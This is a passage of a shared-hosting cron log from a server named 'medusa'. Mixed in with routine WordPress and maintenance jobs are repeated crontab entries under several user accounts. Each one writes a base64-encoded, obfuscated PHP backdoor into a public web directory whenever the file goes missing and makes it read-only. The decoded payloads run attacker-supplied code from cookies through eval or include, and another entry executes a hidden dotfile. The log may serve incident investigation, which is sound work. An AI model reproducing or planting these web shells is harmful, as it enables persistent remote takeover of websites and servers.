"PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:22:01 medusa CROND[12112]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:22:01 medusa CROND[12113]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:22:01 medusa CROND[12117]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:22:01 medusa CROND[12118]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:22:01 medusa CROND[12119]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:22:01 medusa CROND[12123]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:22:01 medusa CROND[12124]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 05:22:01 medusa CROND[12128]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:23:01 medusa crond[30932]: (*system*) RELOAD (/etc/cron.d/wp-toolkit-update)
Apr 19 05:23:01 medusa crond[30932]: (nespencapital) ORPHAN (no passwd entry)
Apr 19 05:23:01 medusa crond[30932]: (tutela) ORPHAN (no passwd entry)
Apr 19 05:23:01 medusa crond[30932]: (patago) ORPHAN (no passwd entry)
Apr 19 05:23:01 medusa crond[30932]: (ideastodoterreno) WRONG FILE OWNER (/var/spool/cron/ideastodoterreno)
Apr 19 05:23:02 medusa crond[30932]: (alejandrosignore) ORPHAN (no passwd entry)
Apr 19 05:23:02 medusa crond[30932]: (comahueprop) ORPHAN (no passwd entry)
Apr 19 05:23:02 medusa crond[30932]: (finapro) ORPHAN (no passwd entry)
Apr 19 05:23:02 medusa crond[30932]: (notisyhech) ORPHAN (no passwd entry)
Apr 19 05:23:02 medusa crond[30932]: (diesel) ORPHAN (no passwd entry)
Apr 19 05:23:02 medusa crond[30932]: (cosmo) ORPHAN (no passwd entry)
Apr 19 05:23:02 medusa crond[30932]: (spiga) ORPHAN (no passwd entry)
Apr 19 05:23:02 medusa crond[30932]: (camozzi) ORPHAN (no passwd entry)
Apr 19 05:23:02 medusa crond[30932]: (ipactos) ORPHAN (no passwd entry)
Apr 19 05:23:02 medusa crond[30932]: (flavia) ORPHAN (no passwd entry)
Apr 19 05:23:02 medusa crond[30932]: (lineaing) ORPHAN (no passwd entry)
Apr 19 05:23:02 medusa crond[30932]: (estudiorillo) ORPHAN (no passwd entry)
Apr 19 05:23:02 medusa crond[30932]: (tecnocom) ORPHAN (no passwd entry)
Apr 19 05:23:02 medusa crond[30932]: (insigne) ORPHAN (no passwd entry)
Apr 19 05:23:02 medusa crond[30932]: (blenkman) ORPHAN (no passwd entry)
Apr 19 05:23:02 medusa crond[30932]: (medinaruben) ORPHAN (no passwd entry)
Apr 19 05:23:02 medusa CROND[3203]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:23:02 medusa CROND[3204]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 05:23:02 medusa CROND[3205]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:23:02 medusa CROND[3206]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:23:02 medusa CROND[3207]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:23:02 medusa CROND[3208]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:23:02 medusa CROND[3210]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:23:02 medusa CROND[3211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:23:02 medusa CROND[3212]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:23:02 medusa CROND[3213]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:23:02 medusa CROND[3214]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:23:02 medusa CROND[3215]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:24:01 medusa CROND[26917]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:24:01 medusa CROND[26918]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:24:01 medusa CROND[26921]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:24:01 medusa CROND[26922]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
